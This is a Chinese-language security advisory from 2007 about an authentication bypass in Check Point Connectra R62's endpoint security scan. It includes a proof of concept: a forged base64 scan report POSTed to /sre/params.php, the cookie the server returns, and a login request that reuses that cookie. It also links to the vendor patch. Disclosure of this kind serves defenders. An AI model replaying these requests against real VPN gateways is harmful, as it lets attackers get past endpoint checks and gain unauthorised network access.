发布日期：2007-01-22
更新日期：2007-01-23

受影响系统：

Check Point Software Connectra R62
Check Point Software Connectra

描述：

---

BUGTRAQ  ID: 22233

Check Point Connectra是一款Web安全网关，提供 SSL VPN 访问，并在一个统一的解决方案内集成了终端安全和应用安全。

Connectra在处理端点访问认证时存在漏洞，远程攻击者可能通过伪造认证信息来绕过安全检测，非授权获取访问。

Connectra的一个主要功能是综合端点安全服务，具体来讲，就是在客户端连接到内部网络之前会对客户端执行测试，检查该计算机是否存在安全风险，如果检测出风险就会提示用户风险的详细信息，并在该用户登陆到网络之前会要求再次进行测试。

在用户提交请求后服务器会向客户端发送Set-Cookie。攻击者可以利用这个Cookie伪造出检测合格的报告并发送给/sre/params.php页面，导致绕过对端点的安全检测，获得非授权访问。

<*来源：Roni Bachar （roni@ avnet.co.il>）
        Nir Goldshlager
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=116950592111543&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

发送以下post请求：

POST https://serverip/sre/params.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: ICS_Secure
Host: serverip
Content-Length: 251
Cache-Control: no-cache
Cookie: ICS_Test_Cookie=1
    
Report=PD94bWwgdmVyc2lvbj0iMS4wIj8+Cgo8U3JlU2NhblJlcG9ydCBWZXJzaW9uPSIzLjcuM
TE2LjAiPgoJPFVzZXJJbmZvIFdpbkRvbWFpbj0iIiBXaW5Vc2VyPSJyb25pIiBXaW5Vc2VyQ2F0Y
WxvZz0iQzpcRG9jdW1lbnRzIGFuZCBTZXR0aW5nc1xyb25pLkxFTk9WTy00RkZFRjRFMyIvPgo8L
1NyZVNjYW5SZXBvcnQ+Cg==

发送请求后会从Check Point Connectra服务器接收到Set-Cookie：

HTTP/1.1 200 OK
Date: Fri, 15 Dec 2006 17:16:19 GMT
Server: CPWS
Last-Modified: Fri, 15 Dec 2006 17:16:19 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: ICSCookie=ffbe7a3740e0db1c2d11b2c6b24c917d; expires=Tue, 13 Sep
2016 17:16:19 GMT; path=/; secure
Content-Length: 0
Content-Type: text/html

需要将 ICSCookie输入到下一个请求中：

GET https://serverip/Login/Login?LangCode= HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,  
application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR
1.1.4322; .NET CLR 2.0.50727)
Host: serverip
Connection: Keep-Alive
Cookie: CheckCookieSupport=1; ICSCookie=ffbe7a3740e0db1c2d11b2c6b24c917d

建议：

---

厂商补丁：

Check Point Software
--------------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.checkpoint.com/downloads/latest/connectra_ngx.html

浏览次数：2835
严重程度：0（网友投票）